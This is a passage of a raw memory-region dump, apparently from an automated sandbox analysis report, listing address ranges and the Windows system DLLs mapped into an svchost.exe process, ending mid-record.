Region: id = 1496 start_va = 0x2a80000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 1497 start_va = 0x2b50000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 1498 start_va = 0x2be0000 end_va = 0x2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 1499 start_va = 0x2cd0000 end_va = 0x2d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 1500 start_va = 0x2d60000 end_va = 0x2ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 1501 start_va = 0x2e40000 end_va = 0x2ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1502 start_va = 0x2f40000 end_va = 0x2fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f40000" filename = "" Region: id = 1503 start_va = 0x2fc0000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 1504 start_va = 0x30c0000 end_va = 0x32bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 1505 start_va = 0x3450000 end_va = 0x34cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 1506 start_va = 0x3500000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1507 start_va = 0x35a0000 end_va = 0x361ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1508 start_va = 0x3670000 end_va = 0x36effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 1509 start_va = 0x3800000 end_va = 0x387ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1510 start_va = 0x3890000 end_va = 0x390ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 1511 start_va = 0x3950000 end_va = 0x39cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 1512 start_va = 0x39d0000 end_va = 0x3dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 1513 start_va = 0x3f40000 end_va = 0x413ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 1514 start_va = 0x4140000 end_va = 0x453ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 1515 start_va = 0x4540000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 1516 start_va = 0x4d90000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 1517 start_va = 0x4e10000 end_va = 0x4f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e10000" filename = "" Region: id = 1518 start_va = 0x4f10000 end_va = 0x500ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 1519 start_va = 0x5050000 end_va = 0x505ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 1520 start_va = 0x5060000 end_va = 0x515ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 1521 start_va = 0x5160000 end_va = 0x525ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 1522 start_va = 0x5260000 end_va = 0x535ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 1523 start_va = 0x53c0000 end_va = 0x543ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053c0000" filename = "" Region: id = 1524 start_va = 0x5440000 end_va = 0x553ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 1525 start_va = 0x5540000 end_va = 0x563ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 1526 start_va = 0x5640000 end_va = 0x663ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005640000" filename = "" Region: id = 1527 start_va = 0x66a0000 end_va = 0x671ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000066a0000" filename = "" Region: id = 1528 start_va = 0x6770000 end_va = 0x67effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006770000" filename = "" Region: id = 1529 start_va = 0x68a0000 end_va = 0x691ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000068a0000" filename = "" Region: id = 1530 start_va = 0x6a20000 end_va = 0x6a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a20000" filename = "" Region: id = 1531 start_va = 0x6b10000 end_va = 0x6b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b10000" filename = "" Region: id = 1532 start_va = 0x6b90000 end_va = 0x6f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b90000" filename = "" Region: id = 1533 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1534 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1535 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1536 start_va = 0x77a50000 end_va = 0x77a56fff monitored = 0 entry_point = 0x77a5106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1537 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1538 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1539 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1540 start_va = 0xff950000 end_va = 0xff95afff monitored = 0 entry_point = 0xff95246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1541 start_va = 0x7fef3630000 end_va = 0x7fef3882fff monitored = 0 entry_point = 0x7fef363236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1542 start_va = 0x7fef4440000 end_va = 0x7fef4613fff monitored = 0 entry_point = 0x7fef4476b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1543 start_va = 0x7fef4aa0000 end_va = 0x7fef4ae4fff monitored = 0 entry_point = 0x7fef4ad3644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1544 start_va = 0x7fef4b30000 end_va = 0x7fef4b41fff monitored = 0 entry_point = 0x7fef4b390bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1545 start_va = 0x7fef4c20000 end_va = 0x7fef4cf1fff monitored = 0 entry_point = 0x7fef4cb1a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1546 start_va = 0x7fef50a0000 end_va = 0x7fef50e1fff monitored = 0 entry_point = 0x7fef50d0048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1547 start_va = 0x7fef50f0000 end_va = 0x7fef5109fff monitored = 0 entry_point = 0x7fef5101ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1548 start_va = 0x7fef5130000 end_va = 0x7fef513efff monitored = 0 entry_point = 0x7fef5136894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1549 start_va = 0x7fef6550000 end_va = 0x7fef65b1fff monitored = 0 entry_point = 0x7fef6551198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1550 start_va = 0x7fef65c0000 end_va = 0x7fef65f9fff monitored = 0 entry_point = 0x7fef65c1010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1551 start_va = 0x7fef6c10000 end_va = 0x7fef6c2bfff monitored = 0 entry_point = 0x7fef6c111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1552 start_va = 0x7fef6cc0000 end_va = 0x7fef6ccefff monitored = 0 entry_point = 0x7fef6cc9a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1553 start_va = 0x7fef6cf0000 end_va = 0x7fef6d0afff monitored = 0 entry_point = 0x7fef6cf1198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1554 start_va = 0x7fef6d10000 end_va = 0x7fef6f89fff monitored = 0 entry_point = 0x7fef6d42200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1555 start_va = 0x7fef6f90000 end_va = 0x7fef6fa6fff monitored = 0 entry_point = 0x7fef6f99d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1556 start_va = 0x7fef72b0000 end_va = 0x7fef72ccfff monitored = 0 entry_point = 0x7fef72b2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1557 start_va = 0x7fef7320000 end_va = 0x7fef7334fff monitored = 0 entry_point = 0x7fef7321020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1558 start_va = 0x7fef7650000 end_va = 0x7fef773dfff monitored = 0 entry_point = 0x7fef76512a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1559 start_va = 0x7fef93f0000 end_va = 0x7fef946bfff monitored = 0 entry_point = 0x7fef93f11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1560 start_va = 0x7fef9580000 end_va = 0x7fef958bfff monitored = 0 entry_point = 0x7fef958602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1561 start_va = 0x7fef9590000 end_va = 0x7fef9603fff monitored = 0 entry_point = 0x7fef95966f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1562 start_va = 0x7fef9610000 end_va = 0x7fef9680fff monitored = 0 entry_point = 0x7fef96551d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1563 start_va = 0x7fef9690000 end_va = 0x7fef96a1fff monitored = 0 entry_point = 0x7fef96989d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1564 start_va = 0x7fef96b0000 end_va = 0x7fef9764fff monitored = 0 entry_point = 0x7fef972cf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1565 start_va = 0x7fef9770000 end_va = 0x7fef97c9fff monitored = 0 entry_point = 0x7fef97adde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1566 start_va = 0x7fef97d0000 end_va = 0x7fef97f0fff monitored = 0 entry_point = 0x7fef97e03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1567 start_va = 0x7fef9800000 end_va = 0x7fef986afff monitored = 0 entry_point = 0x7fef9844344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1568 start_va = 0x7fef9870000 end_va = 0x7fef9888fff monitored = 0 entry_point = 0x7fef9871104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1569 start_va = 0x7fef9890000 end_va = 0x7fef98dffff monitored = 0 entry_point = 0x7fef9891190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1570 start_va = 0x7fef98e0000 end_va = 0x7fef98e7fff monitored = 0 entry_point = 0x7fef98e1020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1571 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1572 start_va = 0x7fef9910000 end_va = 0x7fef9971fff monitored = 0 entry_point = 0x7fef994bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1573 start_va = 0x7fef9980000 end_va = 0x7fef9aabfff monitored = 0 entry_point = 0x7fef9a30ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1574 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac9fff monitored = 0 entry_point = 0x7fef9ac3fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1575 start_va = 0x7fef9ad0000 end_va = 0x7fef9b53fff monitored = 0 entry_point = 0x7fef9b21118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1576 start_va = 0x7fef9b60000 end_va = 0x7fef9b84fff monitored = 0 entry_point = 0x7fef9b78c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1577 start_va = 0x7fef9b90000 end_va = 0x7fef9bccfff monitored = 0 entry_point = 0x7fef9b91070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1578 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1579 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1580 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1581 start_va = 0x7fef9d30000 end_va = 0x7fef9d76fff monitored = 0 entry_point = 0x7fef9d31040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1582 start_va = 0x7fef9d80000 end_va = 0x7fef9dc1fff monitored = 0 entry_point = 0x7fef9d817e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1583 start_va = 0x7fef9dd0000 end_va = 0x7fef9e61fff monitored = 0 entry_point = 0x7fef9e451ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1584 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 0 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1585 start_va = 0x7fef9ef0000 end_va = 0x7fef9f29fff monitored = 0 entry_point = 0x7fef9f0d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1586 start_va = 0x7fefa1e0000 end_va = 0x7fefa1f0fff monitored = 0 entry_point = 0x7fefa1e9e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1587 start_va = 0x7fefa220000 end_va = 0x7fefa283fff monitored = 0 entry_point = 0x7fefa221254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1588 start_va = 0x7fefa290000 end_va = 0x7fefa300fff monitored = 0 entry_point = 0x7fefa291010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1589 start_va = 0x7fefa3d0000 end_va = 0x7fefa3e6fff monitored = 0 entry_point = 0x7fefa3d1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1590 start_va = 0x7fefa3f0000 end_va = 0x7fefa59ffff monitored = 0 entry_point = 0x7fefa3f1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1591 start_va = 0x7fefa770000 end_va = 0x7fefa777fff monitored = 0 entry_point = 0x7fefa771414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1592 start_va = 0x7fefa7a0000 end_va = 0x7fefa7a8fff monitored = 0 entry_point = 0x7fefa7a11a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1593 start_va = 0x7fefa9b0000 end_va = 0x7fefaa26fff monitored = 0 entry_point = 0x7fefa9bafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1594 start_va = 0x7fefaa30000 end_va = 0x7fefaa39fff monitored = 0 entry_point = 0x7fefaa3260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1595 start_va = 0x7fefaa40000 end_va = 0x7fefab51fff monitored = 0 entry_point = 0x7fefaa5f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1596 start_va = 0x7fefab60000 end_va = 0x7fefab6efff monitored = 0 entry_point = 0x7fefab67e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1597 start_va = 0x7fefab70000 end_va = 0x7fefab78fff monitored = 0 entry_point = 0x7fefab73668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1598 start_va = 0x7fefab80000 end_va = 0x7fefab88fff monitored = 0 entry_point = 0x7fefab81020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1599 start_va = 0x7fefab90000 end_va = 0x7fefabe5fff monitored = 0 entry_point = 0x7fefab91040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1600 start_va = 0x7fefabf0000 end_va = 0x7fefac4dfff monitored = 0 entry_point = 0x7fefabf9024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1601 start_va = 0x7fefac50000 end_va = 0x7fefac67fff monitored = 0 entry_point = 0x7fefac51bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1602 start_va = 0x7fefac70000 end_va = 0x7fefac80fff monitored = 0 entry_point = 0x7fefac716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1603 start_va = 0x7fefac90000 end_va = 0x7fefac99fff monitored = 0 entry_point = 0x7fefac93994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1604 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff monitored = 0 entry_point = 0x7fefaca2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1605 start_va = 0x7fefb290000 end_va = 0x7fefb2a3fff monitored = 0 entry_point = 0x7fefb293e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1606 start_va = 0x7fefb2b0000 end_va = 0x7fefb2bafff monitored = 0 entry_point = 0x7fefb2b1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1607 start_va = 0x7fefb2c0000 end_va = 0x7fefb2e6fff monitored = 0 entry_point = 0x7fefb2c98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1608 start_va = 0x7fefb2f0000 end_va = 0x7fefb356fff monitored = 0 entry_point = 0x7fefb306060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1609 start_va = 0x7fefb370000 end_va = 0x7fefb37afff monitored = 0 entry_point = 0x7fefb374f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1610 start_va = 0x7fefb380000 end_va = 0x7fefb38bfff monitored = 0 entry_point = 0x7fefb3815d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1611 start_va = 0x7fefb390000 end_va = 0x7fefb39ffff monitored = 0 entry_point = 0x7fefb39835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1612 start_va = 0x7fefb3a0000 end_va = 0x7fefb3b8fff monitored = 0 entry_point = 0x7fefb3a11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1613 start_va = 0x7fefb3c0000 end_va = 0x7fefb3f6fff monitored = 0 entry_point = 0x7fefb3c8424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1614 start_va = 0x7fefb440000 end_va = 0x7fefb454fff monitored = 0 entry_point = 0x7fefb4460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1615 start_va = 0x7fefb460000 end_va = 0x7fefb521fff monitored = 0 entry_point = 0x7fefb46101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1616 start_va = 0x7fefb760000 end_va = 0x7fefb768fff monitored = 0 entry_point = 0x7fefb761010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1617 start_va = 0x7fefb850000 end_va = 0x7fefb87cfff monitored = 0 entry_point = 0x7fefb851010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1618 start_va = 0x7fefb880000 end_va = 0x7fefb890fff monitored = 0 entry_point = 0x7fefb8814c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1619 start_va = 0x7fefb8e0000 end_va = 0x7fefb950fff monitored = 0 entry_point = 0x7fefb91ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1620 start_va = 0x7fefb9d0000 end_va = 0x7fefb9e3fff monitored = 0 entry_point = 0x7fefb9d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1621 start_va = 0x7fefb9f0000 end_va = 0x7fefba04fff monitored = 0 entry_point = 0x7fefb9f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1622 start_va = 0x7fefba10000 end_va = 0x7fefba1bfff monitored = 0 entry_point = 0x7fefba118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1623 start_va = 0x7fefba20000 end_va = 0x7fefba35fff monitored = 0 entry_point = 0x7fefba211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1624 start_va = 0x7fefbb50000 end_va = 0x7fefbb60fff monitored = 0 entry_point = 0x7fefbb51070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1625 start_va = 0x7fefbcb0000 end_va = 0x7fefbce4fff monitored = 0 entry_point = 0x7fefbcb1064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1626 start_va = 0x7fefc120000 end_va = 0x7fefc175fff monitored = 0 entry_point = 0x7fefc12bbc0 